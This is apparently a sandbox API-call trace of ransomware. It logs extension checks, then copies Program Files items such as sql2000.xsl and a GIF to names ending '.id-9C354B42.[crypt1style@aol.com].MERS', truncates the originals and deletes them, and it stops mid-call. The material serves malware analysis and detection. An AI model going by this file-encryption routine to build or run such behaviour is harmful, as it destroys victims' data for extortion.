lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0260.302] lstrlenW (lpString=".ppt") returned 4 [0260.302] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.303] lstrlenW (lpString=".zip") returned 4 [0260.303] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.303] lstrlenW (lpString=".rar") returned 4 [0260.303] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.303] lstrlenW (lpString=".bz2") returned 4 [0260.303] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.303] lstrlenW (lpString=".7z") returned 3 [0260.303] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.303] lstrlenW (lpString=".dbf") returned 4 [0260.303] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.303] lstrlenW (lpString=".1cd") returned 4 [0260.303] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.303] lstrlenW (lpString=".jpg") returned 4 [0260.303] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.304] lstrlenW (lpString=".doc") returned 4 [0260.304] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.304] lstrlenW (lpString=".docx") returned 5 [0260.304] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0260.304] lstrlenW (lpString=".pdf") returned 4 [0260.304] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.304] lstrlenW (lpString=".xls") returned 4 [0260.304] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.304] lstrlenW (lpString=".xlsx") returned 5 [0260.304] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0260.304] lstrlenW (lpString=".ppt") returned 4 [0260.304] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.304] lstrlenW (lpString=".zip") returned 4 [0260.304] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.304] lstrlenW (lpString=".rar") returned 4 [0260.304] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.304] lstrlenW (lpString=".bz2") returned 4 [0260.304] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.304] lstrlenW (lpString=".7z") returned 3 [0260.304] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.304] lstrlenW (lpString=".dbf") returned 4 [0260.304] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.304] lstrlenW (lpString=".1cd") returned 4 [0260.304] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0260.304] lstrlenW (lpString=".jpg") returned 4 [0260.305] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.305] lstrcmpiW (lpString1=".xsl", lpString2=".MERS") returned 1 [0260.305] lstrlenW (lpString="sql2000.xsl") returned 11 [0260.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0260.305] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=34076) returned 1 [0260.305] CloseHandle (hObject=0x384) returned 1 [0260.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0260.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0260.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0260.306] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0260.306] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0260.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0260.306] GetLastError () returned 0x0 [0260.306] ReadFile (in: hFile=0x384, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x851c, lpOverlapped=0x0) returned 1 [0260.348] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x8520, lpOverlapped=0x0) returned 1 [0260.349] ReadFile (in: hFile=0x384, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0260.349] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xea, lpOverlapped=0x0) returned 1 [0260.349] SetEndOfFile (hFile=0x3ac) returned 1 [0260.349] CloseHandle (hObject=0x3ac) returned 1 [0260.349] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0260.350] SetEndOfFile (hFile=0x384) returned 1 [0260.364] CloseHandle (hObject=0x384) returned 1 [0260.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0260.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0260.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.364] lstrlenW (lpString=".doc") returned 4 [0260.364] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.364] lstrlenW (lpString=".docx") returned 5 [0260.364] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0260.364] lstrlenW (lpString=".pdf") returned 4 [0260.364] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.364] lstrlenW (lpString=".xls") returned 4 [0260.365] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.365] lstrlenW (lpString=".xlsx") returned 5 [0260.365] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0260.365] lstrlenW (lpString=".ppt") returned 4 [0260.365] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.365] lstrlenW (lpString=".zip") returned 4 [0260.365] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.365] lstrlenW (lpString=".rar") returned 4 [0260.365] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.365] lstrlenW (lpString=".bz2") returned 4 [0260.365] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.365] lstrlenW (lpString=".7z") returned 3 [0260.365] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.365] lstrlenW (lpString=".dbf") returned 4 [0260.365] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.365] lstrlenW (lpString=".1cd") returned 4 [0260.365] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.365] lstrlenW (lpString=".jpg") returned 4 [0260.365] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.365] lstrlenW (lpString=".doc") returned 4 [0260.365] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.365] lstrlenW (lpString=".docx") returned 5 [0260.365] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0260.365] lstrlenW (lpString=".pdf") returned 4 [0260.365] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.365] lstrlenW (lpString=".xls") returned 4 [0260.366] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.366] lstrlenW (lpString=".xlsx") returned 5 [0260.366] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0260.366] lstrlenW (lpString=".ppt") returned 4 [0260.366] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.366] lstrlenW (lpString=".zip") returned 4 [0260.366] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.366] lstrlenW (lpString=".rar") returned 4 [0260.366] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.366] lstrlenW (lpString=".bz2") returned 4 [0260.366] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.366] lstrlenW (lpString=".7z") returned 3 [0260.366] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.366] lstrlenW (lpString=".dbf") returned 4 [0260.366] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.366] lstrlenW (lpString=".1cd") returned 4 [0260.366] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0260.366] lstrlenW (lpString=".jpg") returned 4 [0260.366] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.366] lstrcmpiW (lpString1=".xsl", lpString2=".MERS") returned 1 [0260.366] lstrlenW (lpString="Sybase.xsl") returned 10 [0260.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0260.367] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=29790) returned 1 [0260.367] CloseHandle (hObject=0x384) returned 1 [0260.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0260.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0260.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0260.367] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0260.367] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0260.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0260.367] GetLastError () returned 0x0 [0260.367] ReadFile (in: hFile=0x384, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x745e, lpOverlapped=0x0) returned 1 [0260.390] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x7460, lpOverlapped=0x0) returned 1 [0260.391] ReadFile (in: hFile=0x384, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0260.391] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xe8, lpOverlapped=0x0) returned 1 [0260.391] SetEndOfFile (hFile=0x3ac) returned 1 [0260.391] CloseHandle (hObject=0x3ac) returned 1 [0260.391] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0260.391] SetEndOfFile (hFile=0x384) returned 1 [0260.396] CloseHandle (hObject=0x384) returned 1 [0260.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0260.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0260.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.794] lstrlenW (lpString=".doc") returned 4 [0260.794] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.794] lstrlenW (lpString=".docx") returned 5 [0260.794] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0260.794] lstrlenW (lpString=".pdf") returned 4 [0260.794] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.794] lstrlenW (lpString=".xls") returned 4 [0260.794] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.794] lstrlenW (lpString=".xlsx") returned 5 [0260.794] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0260.794] lstrlenW (lpString=".ppt") returned 4 [0260.794] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.794] lstrlenW (lpString=".zip") returned 4 [0260.794] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.794] lstrlenW (lpString=".rar") returned 4 [0260.794] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.794] lstrlenW (lpString=".bz2") returned 4 [0260.794] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.794] lstrlenW (lpString=".7z") returned 3 [0260.794] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.794] lstrlenW (lpString=".dbf") returned 4 [0260.794] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.795] lstrlenW (lpString=".1cd") returned 4 [0260.795] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.795] lstrlenW (lpString=".jpg") returned 4 [0260.795] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.795] lstrlenW (lpString=".doc") returned 4 [0260.795] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.795] lstrlenW (lpString=".docx") returned 5 [0260.795] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0260.795] lstrlenW (lpString=".pdf") returned 4 [0260.795] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.795] lstrlenW (lpString=".xls") returned 4 [0260.795] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.795] lstrlenW (lpString=".xlsx") returned 5 [0260.795] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0260.795] lstrlenW (lpString=".ppt") returned 4 [0260.795] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.795] lstrlenW (lpString=".zip") returned 4 [0260.795] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.795] lstrlenW (lpString=".rar") returned 4 [0260.795] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.795] lstrlenW (lpString=".bz2") returned 4 [0260.796] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.796] lstrlenW (lpString=".7z") returned 3 [0260.796] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.796] lstrlenW (lpString=".dbf") returned 4 [0260.796] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.796] lstrlenW (lpString=".1cd") returned 4 [0260.796] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0260.796] lstrlenW (lpString=".jpg") returned 4 [0260.796] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.796] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0260.796] lstrlenW (lpString="AG00011_.GIF") returned 12 [0260.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.878] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=7216) returned 1 [0260.878] CloseHandle (hObject=0x3a0) returned 1 [0260.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0260.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0260.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0260.916] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0260.916] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0260.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0262.210] GetLastError () returned 0x0 [0262.210] ReadFile (in: hFile=0x3b4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x1c30, lpOverlapped=0x0) returned 1 [0262.261] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0262.262] ReadFile (in: hFile=0x3b4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0262.262] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.262] SetEndOfFile (hFile=0x3ac) returned 1 [0262.262] CloseHandle (hObject=0x3ac) returned 1 [0262.262] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0262.262] SetEndOfFile (hFile=0x3b4) returned 1 [0262.285] CloseHandle (hObject=0x3b4) returned 1 [0262.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0262.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0262.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.302] lstrlenW (lpString=".doc") returned 4 [0262.302] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.302] lstrlenW (lpString=".docx") returned 5 [0262.302] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.302] lstrlenW (lpString=".pdf") returned 4 [0262.302] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.302] lstrlenW (lpString=".xls") returned 4 [0262.302] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.302] lstrlenW (lpString=".xlsx") returned 5 [0262.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.302] lstrlenW (lpString=".ppt") returned 4 [0262.302] lstrcmpiW (lpString1=".ppt", 